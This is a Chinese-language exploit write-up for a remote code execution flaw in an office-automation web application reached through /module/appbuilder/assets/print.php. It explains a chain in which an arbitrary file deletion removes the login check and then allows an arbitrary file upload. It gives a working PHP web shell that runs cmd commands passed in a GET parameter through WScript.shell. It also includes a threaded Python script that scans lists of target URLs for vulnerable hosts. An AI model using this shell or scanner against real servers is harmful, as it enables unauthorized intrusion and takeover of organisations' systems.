漏洞环境下载:http://www.kxdw.com/soft/23114.html
漏洞EXP:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py
漏洞POC:见文末(其实也简单就是验证/module/appbuilder/assets/print.php 此文件存不存在。)
漏洞EXP利用原理
根据exp构造了上传文件名和内容 {‘FILE1’: (‘hack.php’, payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件
总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞
利用漏洞不要直接打EXP会导致网站出现问题。(会成为这个样子=。=)
EXP直接在代码里修改target和payload就好。上传的文件名也可在代码中修改。
payload的一些马可能无法执行命令,此马可顺利执行命令。
<?php $command=$_GET['a']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
POC:
存在/module/appbuilder/assets/print.php此文件(会出现如下界面。也会跳转url)
POC代码,只需要验证文件是否存在就好,是否返回状态码是200。
#!/usr/bin/enc python # _*_ coding: utf-8 _*_ import requests import os import sys import threading from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) file = str(sys.argv[1]) write = sys.argv[2] duwenjian = open(file , 'r' , encoding='UTF-8') xiewenjian = open(write , 'w') ff = duwenjian.readlines() def webhttp(): for line in ff: try: line = line.rstrip("\n") payload = "/module/appbuilder/assets/print.php" url = line + payload qingqiu = requests.get(url, verify=False, timeout=1) zhuangtai = qingqiu.status_code if zhuangtai == 200 : print(url) xiewenjian.write(url) xiewenjian.write('\n') else : pass except OSError: pass def main(): f = threading.Thread(target=webhttp) f.start() f.join() duwenjian.close() xiewenjian.close() if __name__=="__main__": main()